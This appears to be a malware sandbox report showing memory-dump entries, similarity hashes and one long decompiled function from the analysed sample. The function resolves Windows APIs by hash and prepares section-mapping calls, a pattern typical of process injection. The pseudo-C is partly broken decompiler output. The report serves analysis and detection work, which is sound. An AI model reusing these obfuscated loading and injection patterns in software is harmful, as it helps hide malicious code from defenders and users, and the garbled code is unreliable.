Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 9ae32139eae851586bae5671cbd9447a8f2b948740dc2776394157591b49c3c8
Instruction ID: e6fc3316b60ae3062151ef002138ddf4282fc7dbe0c13b71c126eb8d52d9a350
Opcode Fuzzy Hash: 9ae32139eae851586bae5671cbd9447a8f2b948740dc2776394157591b49c3c8
Instruction Fuzzy Hash: BAF027F9040A05FFF751CBF14C22A6935D8EB002E9F400815E909902A2FB20813A9336

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EFE1570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Download Yara Rule

C-Code - Quality: 41%

			E6EFE1570(signed int __ecx, void* __edx, void* __eflags) {
				char _v44;
				intOrPtr _v48;
				char _v56;
				char _v72;
				char _v80;
				void* _v116;
				char _v124;
				char _v128;
				signed int _v136;
				char _v140;
				char _v144;
				void* _v148;
				char _v152;
				signed int _v156;
				signed int _v160;
				intOrPtr _v164;
				signed int _v168;
				char _v172;
				char _v176;
				void* _v184;
				void* _v188;
				void* _v192;
				char _v196;
				void* _v212;
				char _v216;
				void* _v220;
				char _v224;
				char _v228;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				void* _v252;
				intOrPtr _v276;
				char _v280;
				char _v288;
				void* _v292;
				char _v296;
				void* _v300;
				intOrPtr _v308;
				signed int _v328;
				void* _v348;
				void* _v352;
				char _v356;
				char _v368;
				char _v372;
				void* _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v428;
				char _v432;
				char _v436;
				char _v444;
				char _v448;
				char _v452;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				void* _v592;
				void* _v596;
				void* _v600;
				void* _v604;
				intOrPtr _v608;
				void* _v612;
				void* _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				void* _v632;
				void* _v636;
				void* _v640;
				void* _v644;
				void* _v648;
				void* _v668;
				void* _v1676;
				void* _v1684;
				void* _v1692;
				void* _v1708;
				intOrPtr _v1800;
				intOrPtr _v1804;
				intOrPtr _v1808;
				intOrPtr _v1812;
				intOrPtr _v1816;
				void* _v1820;
				void* _v1824;
				void* _v1828;
				void* _v1832;
				void* _v1836;
				void* _v1840;
				void* _v1844;
				void* _v1848;
				void* _v1852;
				void* _v1856;
				void* _v1860;
				void* _v1864;
				void* _v1868;
				void* _v1872;
				void* _v1876;
				void* _v1956;
				void* _v1960;
				void* _v2760;
				void* _v2764;
				void* _v2768;
				void* _v2772;
				void* _v2776;
				intOrPtr _v2820;
				signed int _v2860;
				void* _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				intOrPtr _v2876;
				void* _v2880;
				intOrPtr _v2884;
				void* _v2888;
				void* _v2896;
				void* _v2904;
				intOrPtr _v2908;
				void* _v2912;
				intOrPtr _v2916;
				void* _v2920;
				void* _v2928;
				void* _v2936;
				void* _v2940;
				void* _v2944;
				void* _v2948;
				void* _v2952;
				void* _v2956;
				char _v2960;
				void* _v2964;
				void* _v2968;
				void* _v2976;
				void* _v2984;
				signed int _v2988;
				signed int _v2992;
				void* _v3000;
				void* _v3020;
				void* _v3048;
				void* _v3052;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t313;
				signed int _t317;
				void* _t322;
				signed int _t325;
				signed int _t329;
				void* _t345;
				intOrPtr _t368;
				signed int _t370;
				signed int _t379;
				signed int _t383;
				signed int _t387;
				signed int _t562;
				signed int _t571;
				signed int _t585;
				signed int _t586;
				signed int _t595;
				signed int _t599;
				signed int _t620;
				signed int _t621;
				signed int _t782;
				void* _t800;
				signed int _t803;
				void* _t812;
				signed int _t817;
				signed int _t820;
				signed int _t831;
				void* _t833;
				void* _t834;
				void* _t835;
				void* _t838;

				_t827 = _t831;
				_push(_t800);
				_t833 = (_t831 & 0xffffffe0) - 0xad4;
				_t595 = __ecx;
				_t812 = __edx;
				E6F00B6B0( &_v44,  *((intOrPtr*)(__ecx + 0x1c)));
				_push(0);
				E6F011C80(__ecx,  &_v72, _t800, __edx, _t831, _v48);
				E6F000B10( &_v56);
				if(E6F011F90(_t595,  &_v80, _t831, 0) != 0) {
					_push(0);
					E6F009350( &_v168);
					_push(0);
					E6F009350( &_v156);
					_push(0);
					E6F009350( &_v144);
					__eflags = _t595;
					_t11 = _t595 + 0xc; // 0xc
					_t612 =  ==  ? _t595 : _t11;
					_t313 = E6F00BEA0( ==  ? _t595 : _t11, 0x1d, _t812);
					__eflags = _t313;
					if(_t313 != 0) {
						_push(0x1fffff);
						E6F00EA50(_t595);
					}
					__eflags = _t595;
					_t12 = _t595 + 0xc; // 0xc
					_t802 =  ==  ? _t595 : _t12;
					_push(0);
					_push(0);
					_t803 =  *( ==  ? _t595 : _t12);
					E6F012060(_t595,  &_v228, _t803, _t812);
					 *(_t833 + 0xa78) = 0;
					asm("pxor xmm0, xmm0");
					_v128 = 1;
					asm("movq [esp+0xa90], xmm0");
					 *((intOrPtr*)(_t833 + 0xa90)) = E6F009650(_t812);
					_t317 = E6EFF15C0(0x588ab3ea, 0xa65417fb);
					__eflags = _t317;
					if(_t317 == 0) {
						 *(_t833 + 0x40) = 0;
						E6F00BDC0(_t833 + 0xa7c,  *((intOrPtr*)(_t833 + 0xa8c)));
						__eflags =  *(_t833 + 0x40);
						if( *(_t833 + 0x40) == 0) {
							_v124 = 0;
							_v136 = 0;
							_v140 = 0;
							 *((intOrPtr*)(_t833 + 0xa84)) = 0;
							_t782 = E6EFF15C0(0x588ab3ea, 0x9cac62c7);
							__eflags = _t782;
							if(_t782 != 0) {
								 *(_t833 + 0x40) =  *(_t833 + 0xa78);
								 *(_t833 + 0x44) = _t782;
								_t322 = E6F009650(_t812);
								_t783 =  *(_t833 + 0x44);
								 *(_t833 + 0x50) = _t803;
								_t803 =  *(_t833 + 0x78);
								_t325 =  *( *(_t833 + 0x44))( *((intOrPtr*)(_t833 + 0x64)), 0xffffffff, _t833 + 0xaa0, 0, _t322,  &_v140,  &_v124, 2, 0, 4);
								__eflags = _t325;
								if(_t325 == 0) {
									goto L11;
								} else {
									__eflags = _v168;
									if(_v168 != 0) {
										goto L53;
									}
									goto L54;
								}
							} else {
								L11:
								 *(_t833 + 0x40) = E6F009640(_t812, 0);
								E6EFF0C10(_v164,  *(_t833 + 0x44), E6F009650(_t812));
								_t833 = _t833 + 0xc;
								_t329 = E6EFF15C0(0x588ab3ea, 0xa8f2638d);
								__eflags = _t329;
								if(_t329 == 0) {
									 *(_t833 + 0x4bc) = 0;
									_t620 = E6EFF15C0(0x588ab3ea, 0xea812079);
									__eflags = _t620;
									if(_t620 == 0) {
										L17:
										_v140 =  *(_t833 + 0x4bc);
										_t621 = E6EFF15C0(0x588ab3ea, 0xea812079);
										__eflags = _t621;
										if(_t621 == 0) {
											L26:
											_v136 =  *(_t833 + 0x4bc);
											__eflags = _v168;
											if(_v168 != 0) {
												E6F00BE30( &_v172, _t812);
											}
											__eflags = E6F00ED90(_t595) - 0x20;
											_push(0);
											_t336 =  ==  ? 0x6f018600 : 0x6f018c40;
											_push( ==  ? 0x6f018600 : 0x6f018c40);
											E6EFF1BA0(E6F00ED90(_t595) - 0x20, _t833 + 0xac0);
											E6F009B10( &_v240);
											E6F000B10( &_v124);
											E6F009670( &_v228, E6F009A90( &_v244, _t812));
											 *(_t833 + 0x40) = E6F009640( &_v248, 0);
											E6EFEAC20(_t827,  *(_t833 + 0x44), E6F009640( &_v236, 0),  *((intOrPtr*)(_t833 + 0xab8)));
											_t834 = _t833 + 8;
											_t345 = E6F00ED90(_t595);
											__eflags = _t345 - 0x20;
											if(_t345 == 0x20) {
												E6EFF0B70(_t834 + 0x40, 0, 0x47c);
												_t835 = _t834 + 0xc;
												 *((intOrPtr*)(_t835 + 0x44c)) = E6F009650(_t812);
												 *((intOrPtr*)(_t835 + 0x444)) = 0x56473829;
												 *((intOrPtr*)(_t835 + 0x46c)) = E6EFF15C0(0x588ab3ea, 0x9cac62c7);
												 *((intOrPtr*)(_t835 + 0x470)) = E6EFF15C0(0x588ab3ea, 0xa8f2638d);
												 *((intOrPtr*)(_t835 + 0x474)) = E6EFF15C0(0x588ab3ea, 0xd8cc7390);
												 *((intOrPtr*)(_t835 + 0x478)) = E6EFF15C0(0x588ab3ea, 0xd16c9225);
												 *((intOrPtr*)(_t835 + 0x47c)) = E6EFF15C0(0x588ab3ea, 0x649746ec);
												 *((intOrPtr*)(_t835 + 0x480)) = E6EFF15C0(0x588ab3ea, 0xe5ef1afa);
												 *((intOrPtr*)(_t835 + 0x484)) = E6EFF15C0(0x588ab3ea, 0x58d59bc9);
												 *((intOrPtr*)(_t835 + 0x488)) = E6EFF15C0(0x588ab3ea, 0x35b39b2b);
												 *((intOrPtr*)(_t835 + 0x48c)) = E6EFF15C0(0x588ab3ea, 0xe9fbf3a8);
												 *((intOrPtr*)(_t835 + 0x490)) = E6EFF15C0(0x588ab3ea, 0xbcd9ca71);
												 *((intOrPtr*)(_t835 + 0x494)) = E6EFF15C0(0x588ab3ea, 0x4faea65b);
												 *((intOrPtr*)(_t835 + 0x498)) = E6EFF15C0(0x588ab3ea, 0xc0b67de0);
												 *((intOrPtr*)(_t835 + 0x49c)) = E6EFF15C0(0x588ab3ea, 0x996e050f);
												 *((intOrPtr*)(_t835 + 0x4a0)) = E6EFF15C0(0x588ab3ea, 0x81c9e4a7);
												 *((intOrPtr*)(_t835 + 0x4a4)) = E6EFF15C0(0x588ab3ea, 0x97abe05f);
												_v1800 = E6EFF15C0(0x588ab3ea, 0x82d274c4);
												_v1804 = E6EFF15C0(0xa1310f65, 0x77be1f6);
												_v1808 = E6EFF15C0(0xa1310f65, 0xe2d27ff4);
												_v1812 = E6EFF15C0(0xa1310f65, 0x69121530);
												_t368 = E6EFF15C0(0xa1310f65, 0xf1c64384);
												 *((intOrPtr*)(_t835 + 0x464)) = _v308;
												_v1816 = _t368;
												 *((intOrPtr*)(_t835 + 0x468)) =  *((intOrPtr*)(_t835 + 0xa98));
												E6F009710( &_v368,  &_v2960, 0x47c);
												_push(_t835 + 0xa60);
												_push(0x4bc);
												_t785 =  &_v392;
												_t370 = E6EFEE900(_t595,  &_v392);
											} else {
												E6EFF0B70(_t834 + 0x4c0, 0, 0x4f0);
												_t838 = _t834 + 0xc;
												_v608 = E6F009650(_t812);
												 *((intOrPtr*)( &_v384 - 0xe8)) = 0x56473829;
												_push(0);
												E6F009350( &_v384);
												 *((intOrPtr*)(_t838 + 0x40)) = 0x3b4caff7;
												asm("pxor xmm0, xmm0");
												asm("movq [esp+0x48], xmm0");
												E6F009670( &_v388, E6F009650( &_v388) + 0x10);
												E6F009640( &_v392, E6F009650( &_v392) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x9cac62c7;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v396, E6F009650( &_v396) + 0x10);
												E6F009640( &_v400, E6F009650( &_v400) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2820 = 0xa8f2638d;
												asm("movq [esp+0x48], xmm1");
												E6F009670(_t838 + 0x9b4, E6F009650(_t838 + 0x9b0) + 0x10);
												E6F009640( &_v408, E6F009650( &_v408) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd8cc7390;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v412, E6F009650( &_v412) + 0x10);
												E6F009640( &_v416, E6F009650( &_v416) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd16c9225;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v420, E6F009650( &_v420) + 0x10);
												E6F009640(_t838 + 0x9b4, E6F009650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x649746ec;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v428, E6F009650( &_v428) + 0x10);
												E6F009640( &_v432, E6F009650( &_v432) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xe5ef1afa;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v436, E6F009650( &_v436) + 0x10);
												E6F009640(_t838 + 0x9b4, E6F009650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2860 = 0x58d59bc9;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v444, E6F009650( &_v444) + 0x10);
												E6F009640( &_v448, E6F009650( &_v448) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2868 = 0x35b39b2b;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v452, E6F009650( &_v452) + 0x10);
												E6F009640( &_v456, E6F009650( &_v456) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2876 = 0xe9fbf3a8;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v460, E6F009650( &_v460) + 0x10);
												E6F009640( &_v464, E6F009650( &_v464) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2884 = 0xbcd9ca71;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v468, E6F009650( &_v468) + 0x10);
												E6F009640( &_v472, E6F009650( &_v472) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x4faea65b;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v476, E6F009650( &_v476) + 0x10);
												E6F009640( &_v480, E6F009650( &_v480) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xc0b67de0;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v484, E6F009650( &_v484) + 0x10);
												E6F009640( &_v488, E6F009650( &_v488) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2908 = 0x996e050f;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v492, E6F009650( &_v492) + 0x10);
												E6F009640( &_v496, E6F009650( &_v496) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2916 = 0x81c9e4a7;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v500, E6F009650( &_v500) + 0x10);
												E6F009640( &_v504, E6F009650( &_v504) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x97abe05f;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v508, E6F009650( &_v508) + 0x10);
												E6F009640( &_v512, E6F009650( &_v512) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x82d274c4;
												asm("movq [esp+0x48], xmm1");
												E6F009670( &_v516, E6F009650( &_v516) + 0x10);
												__eflags = E6F009650( &_v520) + 0xfffffff0;
												E6F009640( &_v520, E6F009650( &_v520) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("movups [eax], xmm0");
												E6F011270(0x588ab3ea,  &_v524);
												E6F009640( &_v524, 0x10);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x910], xmm0");
												E6F009640( &_v528, 0x20);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x918], xmm0");
												E6F009640( &_v532, 0x30);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x920], xmm0");
												E6F009640( &_v536, 0x40);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x928], xmm0");
												E6F009640( &_v540, 0x50);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x930], xmm0");
												E6F009640( &_v544, 0x60);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x938], xmm0");
												E6F009640( &_v548, 0x70);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x940], xmm0");
												E6F009640( &_v552, 0x80);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x948], xmm0");
												E6F009640( &_v556, 0x90);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x950], xmm0");
												E6F009640( &_v560, 0xa0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x958], xmm0");
												E6F009640( &_v564, 0xb0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x960], xmm0");
												E6F009640( &_v568, 0xc0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x968], xmm0");
												E6F009640( &_v572, 0xd0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x970], xmm0");
												E6F009640( &_v576, 0xe0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x978], xmm0");
												E6F009640( &_v580, 0xf0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x980], xmm0");
												E6F009640( &_v584, 0x100);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x988], xmm0");
												E6F009640( &_v588, 0);
												asm("movq xmm0, [eax+0x8]");
												_t819 =  &_v544;
												asm("movdqu [esp+0x60], xmm0");
												E6EFF0B70( &_v544, 0, 0x30);
												_t835 = _t838 + 0xc;
												asm("movd xmm4, edi");
												asm("cdq");
												asm("pxor xmm0, xmm0");
												asm("movdqu [eax-0x950], xmm0");
												_v2992 = _t803;
												asm("movd xmm1, edx");
												asm("cdq");
												asm("movd xmm3, eax");
												asm("punpckldq xmm4, xmm1");
												asm("movd xmm2, edx");
												asm("punpckldq xmm3, xmm2");
												asm("movdqu [esp+0x70], xmm3");
												asm("movdqu [eax-0x960], xmm4");
												_v2988 = _t595;
												do {
													asm("movdqu xmm0, [esp+0x60]");
													asm("movq [esp], xmm0");
													asm("pxor xmm5, xmm5");
													_v2860 = 6;
													asm("movdqu xmm1, [esp+0x80]");
													asm("movq [esp+0xc], xmm1");
													asm("movdqu xmm2, [esp+0x90]");
													asm("movq [esp+0x14], xmm2");
													asm("movq [esp+0x1c], xmm5");
													asm("movdqu xmm3, [esp+0x70]");
													asm("movq xmm4, [0x6f0193d8]");
													asm("movq [esp+0x24], xmm3");
													asm("movq [esp+0x2c], xmm4");
													asm("movq [esp+0x34], xmm5");
													_t599 = E6F0104B0(_t803, _t819);
													_t803 =  *(_t835 + 0x9e0);
													_t819 =  *((intOrPtr*)(_t835 + 0x9e4));
													asm("movq xmm0, [esp+0x9f8]");
													__eflags =  ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819;
													asm("movdqu xmm1, [esp+0x90]");
													asm("paddq xmm1, xmm0");
													asm("movdqu [esp+0x90], xmm1");
													if(( ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819) != 0) {
														goto L35;
													} else {
														_push(0x400);
														E6F009350( &_v356);
														 *(_t835 + 0x5c) = E6F009640(_t835 + 0x9d4, 0);
														 *((intOrPtr*)(_t835 + 0x58)) = E6F009640(_t835 + 0x9d4, 0);
														E6F009650( &_v368);
														asm("movdqu xmm0, [esp+0x60]");
														asm("movd xmm6, ecx");
														asm("movq [esp], xmm0");
														_v2872 = 6;
														asm("pxor xmm7, xmm7");
														asm("movdqu xmm1, [esp+0x80]");
														asm("movq xmm2, [0x6f0193d0]");
														asm("movq [esp+0xc], xmm1");
														_v2860 = _t803;
														 *((intOrPtr*)(_t835 + 0x18)) = _t819;
														asm("movq [esp+0x1c], xmm2");
														asm("cdq");
														asm("movd xmm4, eax");
														asm("movd xmm3, edx");
														asm("cdq");
														asm("punpckldq xmm4, xmm3");
														asm("movq [esp+0x24], xmm4");
														asm("movd xmm5, edx");
														asm("punpckldq xmm6, xmm5");
														asm("movq [esp+0x2c], xmm6");
														asm("movq [esp+0x34], xmm7");
														_t562 = E6F0104B0(_t803, _t819);
														__eflags = _t562;
														if(_t562 != 0) {
															L56:
															E6F009510(_t835 + 0x9d0);
															_t803 = 0xe5ab9b45;
														} else {
															__eflags =  *( *(_t835 + 0x5c)) & 0x0000ffff;
															if(__eflags == 0) {
																goto L56;
															} else {
																E6EFF83B0(_t835 + 0xa28);
																_t819 = _t835 + 0xa30;
																E6F002E60(_t835 + 0xa30, __eflags, _t835 + 0xa30, 0x5c);
																E6F001020(_t835 + 0xa30, _t835 + 0xa38);
																_t571 = E6F00D620( *((intOrPtr*)(_t835 + 0xa38)), E6F006040( *((intOrPtr*)(_t835 + 0xa38)), 0x7fffffff));
																E6F000B10(_t835 + 0xa38);
																E6F000B10(_t835 + 0xa30);
																E6F000B10(_t835 + 0xa28);
																E6F009510( &_v372);
																_t803 = _t571 ^ 0x38ba5c7b;
																__eflags = _t803;
															}
														}
														__eflags = _t803 - 0xa1310f65;
														if(__eflags == 0) {
															_t803 =  *(_t835 + 0x50);
															_t595 =  *(_t835 + 0x54);
															_t820 =  *(_t835 + 0x9e0);
															 *((intOrPtr*)(_t835 + 0x58)) =  *((intOrPtr*)(_t835 + 0x9e4));
														} else {
															goto L35;
														}
													}
													L37:
													E6EFEDE60( &_v372, _t803, __eflags, _t820,  *((intOrPtr*)(_t835 + 0x58)));
													E6F00A110( &_v396);
													 *((intOrPtr*)(_t835 + 0x40)) = 0xe2d27ff4;
													asm("pxor xmm0, xmm0");
													asm("movq [esp+0x48], xmm0");
													E6F009670( &_v396, E6F009650( &_v396) + 0x10);
													E6F009640( &_v400, E6F009650( &_v400) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													_v2820 = 0x69121530;
													asm("movq [esp+0x48], xmm1");
													E6F009670(_t835 + 0x9b4, E6F009650(_t835 + 0x9b0) + 0x10);
													E6F009640( &_v408, E6F009650( &_v408) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0x77be1f6;
													asm("movq [esp+0x48], xmm1");
													E6F009670( &_v412, E6F009650( &_v412) + 0x10);
													E6F009640( &_v416, E6F009650( &_v416) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0xf1c64384;
													asm("movq [esp+0x48], xmm1");
													E6F009670( &_v420, E6F009650( &_v420) + 0x10);
													__eflags = E6F009650(_t835 + 0x9b0) + 0xfffffff0;
													E6F009640(_t835 + 0x9b4, E6F009650(_t835 + 0x9b0) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													_push( &_v428);
													_push(_v2820);
													_push(_t820);
													asm("movups [edx], xmm0");
													E6EFEE780( &_v412, _t820, __eflags);
													E6F009640(_t835 + 0x9b4, 0);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x998], xmm0");
													E6F009640( &_v444, 0x10);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x9a0], xmm0");
													E6F009640( &_v448, 0x20);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x990], xmm0");
													E6F009640( &_v452, 0x30);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [ecx-0x18], xmm0");
													E6F009510(_t835 + 0x9c0);
													E6F009510( &_v456);
													asm("cdq");
													asm("movd xmm1, eax");
													asm("movd xmm0, edx");
													asm("cdq");
													asm("movd xmm3, eax");
													asm("punpckldq xmm1, xmm0");
													asm("movq [esp+0x900], xmm1");
													asm("movd xmm2, edx");
													asm("punpckldq xmm3, xmm2");
													asm("movq [esp+0x908], xmm3");
													E6F009710( &_v280, _t835 + 0x4c4, 0x4f0);
													_t785 = _t835 + 0xa58;
													_t370 = E6EFEACD0(_t595, _t835 + 0xa58, __eflags, 0x5c8,  &_v288);
													goto L38;
													L35:
													__eflags = _t599;
												} while (_t599 == 0);
												_t820 = 0;
												__eflags = 0;
												_t803 =  *(_t835 + 0x50);
												_t595 =  *(_t835 + 0x54);
												 *((intOrPtr*)(_t835 + 0x58)) = 0;
												goto L37;
											}
											L38:
											_t817 = _t370;
											__eflags = _t817;
											if(_t817 != 0) {
												__eflags = _t595;
												_push(0);
												_t597 =  !=  ? _t595 + 0xc : _t595;
												_push( !=  ? _t595 + 0xc : _t595);
												_t387 = E6F011A80(_t785, _t595,  &_v296, 0x2710);
												_t835 = _t835 + 0x10;
												_t595 = 0;
												__eflags = _t387;
												_t817 =  !=  ? 0 : _t817;
											}
											__eflags = _v160;
											if(_v160 == 0) {
												L45:
												__eflags = _v156;
												if(_v156 == 0) {
													L50:
													E6F012530(_t595,  &_v296, _t785, _t803, _t817);
													E6F009510( &_v216);
													E6F009510(_t835 + 0xa50);
													E6F009510( &_v248);
													E6F011F40( &_v152, _t785, _t817);
													return _t817;
												} else {
													_t785 = E6EFF15C0(0x588ab3ea, 0xea812079);
													__eflags = _t785;
													if(_t785 != 0) {
														_t595 = 0;
														__eflags = 0;
														 *_t785(_t803, _v156, 0xffffffff,  &_v176, 0, 0, 1);
													}
													_t379 = E6EFF15C0(0x588ab3ea, 0x35b39b2b);
													__eflags = _t379;
													if(_t379 == 0) {
														goto L50;
													} else {
														_push(_v176);
														asm("int3");
														return _t379;
													}
												}
											} else {
												_t785 = E6EFF15C0(0x588ab3ea, 0xea812079);
												__eflags = _t785;
												if(_t785 != 0) {
													_t595 = 0;
													__eflags = 0;
													 *_t785(_t803, _v160, 0xffffffff,  &_v176, 0, 0, 1);
												}
												_t383 = E6EFF15C0(0x588ab3ea, 0x35b39b2b);
												__eflags = _t383;
												if(_t383 == 0) {
													goto L45;
												} else {
													_push(_v176);
													asm("int3");
													return _t383;
												}
											}
										} else {
											_t783 = _t833 + 0x4bc;
											 *_t621(0xffffffff, _v276, _t803, _t833 + 0x4bc, 0, 0, 2);
											__eflags = 0;
											if(0 == 0) {
												goto L26;
											} else {
												__eflags = _v196;
												if(_v196 != 0) {
													E6F00BE30(_t833 + 0xa78, _t812);
												}
												__eflags = _v168;
												if(_v168 == 0) {
													goto L54;
												} else {
													_t585 = E6EFF15C0(0x588ab3ea, 0xea812079);
													__eflags = _t585;
													if(_t585 == 0) {
														_t586 = E6EFF15C0(0x588ab3ea, 0x35b39b2b);
														__eflags = _t586;
														if(_t586 == 0) {
															goto L54;
														} else {
															_push( *(_t833 + 0x40));
															asm("int3");
															return _t586;
														}
													} else {
														__eflags = 0;
														_push(1);
														_push(0);
														_push(0);
														_push(_t833 + 0x40);
														_push(0xffffffff);
														_push(_v168);
														_push(_t803);
														asm("int3");
														return _t585;
													}
												}
											}
										}
									} else {
										_t783 = _t833 + 0x4bc;
										 *_t620(0xffffffff, _v172, _t803, _t833 + 0x4bc, 0, 0, 2);
										__eflags = 0;
										if(0 == 0) {
											goto L17;
										} else {
											__eflags = _v196;
											if(_v196 != 0) {
												goto L53;
											} else {
											}
											goto L54;
										}
									}
								} else {
									_push(_v160);
									_push(0xffffffff);
									asm("int3");
									return _t329;
								}
							}
						} else {
							__eflags = _v128;
							if(_v128 != 0) {
								L53:
								E6F00BE30(_t833 + 0xa78, _t812);
							} else {
							}
							L54:
							E6F012530(_t595, _t833 + 0xa10, _t783, _t803, _t812);
							E6F009510( &_v224);
							E6F009510( &_v240);
							E6F009510(_t833 + 0xa40);
							E6F011F40( &_v160, _t783, _t812);
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags = 0;
						_push(0);
						_push(0x8000000);
						_push(4);
						_push(_t833 + 0xa90);
						_push(0);
						_push(0xf001f);
						_push(_t833 + 0xaa4);
						asm("int3");
						return _t317;
					}
				} else {
					E6F011F40( &_v72, 0x1d, _t812);
					return 1;
				}
			}

0x6efe1571
0x6efe1577
0x6efe1579
0x6efe157f
0x6efe1581
0x6efe1592
0x6efe1597
0x6efe15a7
0x6efe15b3
0x6efe15c8
0x6efe15e8
0x6efe15f1
0x6efe15f6
